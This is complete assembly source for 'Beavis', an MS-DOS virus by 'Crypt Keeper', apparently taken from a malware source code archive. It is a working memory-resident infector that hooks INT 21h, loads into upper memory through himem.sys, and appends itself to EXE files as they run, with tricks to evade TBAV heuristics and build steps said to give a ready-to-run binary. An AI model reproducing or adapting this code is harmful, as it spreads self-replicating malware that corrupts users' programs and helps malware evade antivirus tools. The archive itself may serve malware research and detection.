MalwareSourceCode/MSDOS/Virus.MSDOS.Unknown.beavis.asm
2021-01-12 17:31:39 -06:00

382 lines
11 KiB
NASM

;****************************************************************************
;* Beavis *
;* by Crypt Keeper *
;****************************************************************************
;Beavis is a memory resident infector of EXE files that infects files as
;they are executed. It only loads itself resident if a high memory manager
;is present, loading itself into the UMB (above 640k). It triggers randomly
;at file execution, displaying a random Beavis quote from Beavis and Butthead.
;TASM BEAVIS.ASM /M3
;TLINK BEAVIS.OBJ
;EXE2BIN BEAVIS.EXE BEAVIS.COM
;.COM file is ready to run with no modifications.
.model tiny
.code
vtop equ $ ;top of virus code block
;Equates --------------------------------------------------------------------
vlength equ vbot-vtop ;virus length in bytes
heapsiz equ hbot-heap ;heap size in bytes
vlres equ ((vlength+heapsiz)/16)+1 ;virus length in paragraphs
vlpage equ (vlength/512)+1 ;virus length in pages
chkfunc equ 9AD5h ;check resident int 21h function
virusid equ 150h ;virus ID word in exeheader
;----------------------------------------------------------------------------
cld ;clear direction flag
db 0BDh ;mov bp,
delta dw 100h ;delta offset
lea sp,[bp+(offset(sspace)+30)] ;set up new stack
push ds
push es ;save original EXE segments
mov ax,chkfunc
xor cx,cx
mov ds,cx
pushf ;This calls INT 21h while eliminating
call dword ptr ds:[21h*4] ;TBAV's undocumented DOS call flag.
push cs
pop ds
cmp ax,chkfunc-1 ;did virus return reply?
jne install ;if not, install resident
jmp return ;if so, return to original program
install:
mov ax,3521h ;get int 21h vector
int 21h
mov [bp+offset(i21veco)],bx
mov [bp+offset(i21vecs)],es
mov ax,4300h ;get himem.sys installed state
int 2Fh ;multiplex interrupt
cmp al,80h ;80h in al means himem.sys is loaded
jne return ;Return if no High-Memory manager
mov ax,4310h ;get himem.sys entry point adress
int 2Fh
mov [bp+offset(himem_s)],es
mov [bp+offset(himem_o)],bx ;himem.sys entry point
mov ah,10h ;allocate UMB (function 10h)
mov dx,vlres ;paragraphs to request
call dword ptr [bp+offset(himem_o)] ;call himem.sys
mov es,bx ;BX will contain segment of memory
mov si,bp ;bp=start of virus code
mov cx,(vlength+(heapsiz+1))/2 ;virus length in words+heap data
xor di,di
rep movsw ;copy virus code up there
push es
pop ds
mov dx,offset(i21vec) ;new int 21h vector
mov ax,2521h ;set int 21h vector
int 21h
return: mov ah,51h ;Get PSP adress
int 21h
add bx,16 ;Compensate for PSP size
pop es
pop ds ;Restore original ES and DS from EXE
cli ;Clear interrupts for stack change
mov sp,cs:[bp+offset(old_sp)]
mov ax,cs:[bp+offset(old_ss)]
add ax,bx ;Find segment for SS
mov ss,ax ;Reset original EXE stack
sti
add cs:[bp+offset(old_cs)],bx ;Find segment for CS
jmp dword ptr cs:[bp+offset(old_ip)] ;Far jump to original EXE code
;----------------------------------------------------------------------------
move_pointer_end:
xor cx,cx
xor dx,dx ;move pointer 0 bytes
mov ax,4202h ;move pointer to end of file
int 21h
ret
;Data -----------------------------------------------------------------------
talk1 db 'FIRE FIRE FIRE!$'
talk2 db 'Hey butthead this sucks change the channel!$'
talk3 db 'Shut up butthead or I''ll kick your ass!$'
talk4 db 'We''re there dude.$'
talk5 db 'The Beavis virus kicks ass!$'
old_sp dw 0
old_ss dw 0FFF0h ;Old SS:SP
old_ip dw 0
old_cs dw 0FFF0h ;Old CS:IP
;----------------------------------------------------------------------------
i21vec: nop
xchg ax,cx ;get rid of TBAV's execution intercept
;heuristic flag.
cmp cx,4B00h ;load and execute program?
je vtrigger
cmp cx,4B01h ;load program?
je vtrigger
xchg ax,cx
cmp ax,chkfunc ;check if virus is resident?
je return_reply
jmp dword ptr cs:i21veco
return_reply:
dec ax ;decrement AX
iret ;return from interrupt
vtrigger:
xchg ax,cx
push ax si bx cx di es ds dx ;save all used registers
mov ax,4300h ;get file attributes
int 21h
jc exitvec ;exit if filename invalid
mov cs:oldattr,cx ;save old file attributes
xor cx,cx ;set attributes to normal
mov ax,4301h ;set file attributes
int 21h
mov ax,3D02h ;open file for read/write access
int 21h
jc exitvec ;exit if open permission denied
mov bx,ax ;file handle
push cs
pop ds
mov ax,5700h ;get file date and time
int 21h
mov olddate,dx
mov oldtime,cx ;save old file date and time
mov cx,28 ;28 bytes to read
mov dx,offset(readbuffer) ;buffer to recieve data
mov ah,3Fh ;read file or device
int 21h
cmp ax,28
jb closeexit ;close and exit if file too small
cmp init_sp,virusid ;is file alredy infected?
je closeexit
mov ax,idword
xor ax,0ABCDh ;kill TBAV's check exe/com flag
cmp ax,0E697h
je infect_exe
cmp ax,0F180h
je infect_exe ;if MZ or ZM, go ahead and infect
jmp short closeexit ;if not, don't infect
exitvec:
pop dx ds es di cx bx si ax ;restore all used registers
jmp dword ptr cs:i21veco ;execute rest of interrupt chain
closeexit:
mov cx,oldtime
mov dx,olddate ;restore old time and date
mov ax,5701h ;set file date and time
int 21h
mov ah,3Eh ;close file with handle
int 21h
mov cx,cs:oldattr ;old file attributes
pop dx ds
push ds dx ;get old filename off stack
mov ax,4301h ;set file attributes
int 21h
mov ah,2Ch ;get time
int 21h
cmp cl,dh ;do seconds and minutes line up?
jne exitvec ;if not, no trigger
push cs
pop ds
inc dl
mov al,dl
xor ah,ah
mov bl,20
div bl ;convert to random number 0-5
cmp al,0
je _talk1
cmp al,1
je _talk2
cmp al,2
je _talk3
cmp al,3
je _talk4
cmp al,4
je _talk5 ;select message
_talk1: mov dx,offset(talk1)
jmp short _talk
_talk2: mov dx,offset(talk2)
jmp short _talk
_talk3: mov dx,offset(talk3)
jmp short _talk
_talk4: mov dx,offset(talk4)
jmp short _talk
_talk5: mov dx,offset(talk5)
_talk: mov ah,9 ;print string
int 21h
jmp short exitvec ;exit
infect_exe:
les si,dword ptr ds:init_ss ;get initial SS:SP (reversed)
mov old_ss,si
mov old_sp,es
les si,dword ptr ds:init_ip ;get initial CS:IP
mov old_cs,es
mov old_ip,si
call move_pointer_end ;move file pointer to end of file
mov cx,10h
div cx ;convert to paragraphs
push ax
sub ax,hsize ;subtract header size in paragraphs
pop cx
cmp ax,cx
ja _closeexit ;If file too small, end infection
mov init_cs,ax
mov init_ip,dx ;set initial CS:IP in exe header
mov delta,dx ;set delta offset in virus
mov init_sp,virusid
mov init_ss,ax ;set initial SS:SP in exe header
add word ptr ds:minmem,vlres ;add virus length to minimum memory
mov cx,vlength ;number of bytes in virus
xor dx,dx
mov ah,40h ;write file or device
int 21h
call move_pointer_end ;move file pointer to end of file
mov cx,512
div cx ;change bytes in new file to pages
cmp dx,0 ;no remainder?
je go_ahead_set
inc ax ;if remainder, add another page
go_ahead_set:
mov word ptr pages,ax
mov word ptr lastpg,dx ;set EXE file size
xor dx,dx
xor cx,cx
mov ax,4200h ;move file pointer to beginning of file
int 21h
mov cx,28 ;28 bytes in header
mov dx,offset(readbuffer)
mov ah,40h ;write file or device
int 21h
_closeexit:
jmp closeexit ;close and exit
;----------------------------------------------------------------------------
copr db '[BEAVIS] by Crypt Keeper'
;----------------------------------------------------------------------------
vbot equ $ ;bottom of virus code
heap equ $ ;Beginning of heap
readbuffer:
idword dw 0 ;ID word
lastpg dw 0 ;Number of bytes in last page
pages dw 0 ;Total pages
segent dw 0 ;number of entries in segment table
hsize dw 0 ;header size in paragraphs
minmem dw 0 ;minimum memory to request
maxmem dw 0 ;maximum memory to request
init_ss dw 0 ;initial SS value
init_sp dw 0 ;initial SP value
negchk dw 0 ;negative checksum
init_ip dw 0 ;initial IP value
init_cs dw 0 ;initial CS value
reltab dw 0 ;offset of relocation table from header
ovnum dw 0 ;overlay number
himem_o dw 0
himem_s dw 0 ;himem.sys entry point adress
i21veco dw 0
i21vecs dw 0 ;int 21h vector
oldattr dw 0 ;old file attributes
oldtime dw 0
olddate dw 0 ;old saved time and date
hbot equ $ ;bottom of heap
sspace db 32 dup (0) ;virus stack space
;not used when resident so not
;included in heap space
end